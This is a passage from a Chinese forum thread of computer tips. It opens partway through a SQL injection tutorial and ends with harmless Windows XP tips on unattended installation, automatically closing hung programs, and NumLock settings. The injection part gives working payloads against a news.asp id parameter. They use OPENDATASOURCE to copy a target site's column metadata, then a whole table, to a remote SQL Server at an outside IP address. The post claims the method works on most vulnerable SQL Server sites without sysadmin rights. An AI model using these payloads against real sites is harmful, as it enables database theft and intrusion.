news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmpcolumns select * from sysobjects where id=12345 --
6。 现在看看tmpcolumns你已经得到这个news的所有字段信息了
7。 根据字段本地创建创建新表[newtable]
8。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.newtable select * from [news] --

以上方法不需要猜测表名,也不需要是sysadmin,所以只要有sqlinject漏洞并且是sqlserver的话,那么绝大多数都可以通过。并且你可以指定你要的表你要的字段,而不需要去down整个庞大的库。

不过sqlinject真的没必要花太多的精力在上面。

注:select * into [tmpcolumns] from syscolumns where 1=2的1=2判断绝对没有写错,这么做是一种复制表结构的偷懒办法

TOP

自动安装Windows XP

  一、全自动安装软件──安装管理器Setupmgr.exe
  这个好东东位于Windows XP安装光盘的“\support\tools\deploy.cab”压缩包中,我们只需要进入“\support\tools”文件夹把“deploy.cab”中的文件解压出来即可。

  二、创建Windows XP自动应答文件
  双击刚才解压得到的文件“Setupmgr.exe”会出现一个名为“Windows 安装管理器向导”的窗口,单击下一步,并选择“创建新的应答文件→Windows无人参予安装→Windows XP Professional(请选择相应的版本)→全自动安装→否,这个应答文件将用来从CD安装(最好选此项)→我接受许可协议(必须接受)”,接下来才是“Windows 安装管理器”的正式界面(见图),在左边我们可以看到已经展开的三大项设置分别是“常规设置”、“网络设置”和“高级设置”,并且会要求你输入姓名、单位、产品密钥、计算机名、管理员密码等等信息,如果不输入上述信息,则无法继续下去。输入正确后再为目标计算机选择显示设置、时区设置、网络组件、工作组或域、区域设置和语言、浏览器和shell设置、安装文件夹位置等选项。当以上所有步骤完成后,会弹出一个对话框让你输入应答文件的保存位置和文件名(当然也可以默认为“unattend.txt”),点击确定后系统会自动生成应答文件和一个批处理文件“unattend.bat”。

  三、使用自动应答文件安装Windows XP
  我们只要在DOS下输入“Winnt /u: 自动应答文件”命令就可以高枕无忧,爱干啥干啥了,以后要再重新安装Windows XP时,只要用这个命令就行了。

TOP

自动关闭停止响应程序

  在注册表中打开HKEY_CURRENT_USER\Control Panel\Desktop目录,把里面的AugoEndTasks键值改为1。
如果注册表中找不到AutoEndTasks键值,则可以自己建一个串值并把它改为这个名字,值设为1就可以了。

TOP

关闭小键盘上的NumLock

  问:请问怎样解决启动Windows XP进入登录欢迎界面时,自动开启小键盘NumLock的问题。

  答:首先在BIOS中把NumLock项设为Enable,然后在BIOS中将PnP With OS项亦设为Enable即可。不过注销用户时NumLock小键盘锁是关闭的,要手工打开。

    打开注册表编辑器,找到HKEY_USERS\.DEFAULT\Control Panel\Keyboard,将它下面的InitialKeyboardIndicators的键值改为“2”,退出注册表编辑器,重新启动计算机,你就会发现数字小键盘的灯不再熄灭了。

    另外,仅需要对config.sys文件动点小手术即可达到此目的。设置方法如下:
  1.单击“开始”菜单中的“运行”命令,然后在“打开”框中键入“sysedit”,按下回车键,打开“系统配置编辑程序”窗口。
  2.单击“Config.sys”标题栏,将它切换为当前编辑窗口,然后在编辑区中键入“NumLock=ON”这一行命令。
  3.保存修改并关闭“系统配置编辑程序”窗口。

TOP

发新话题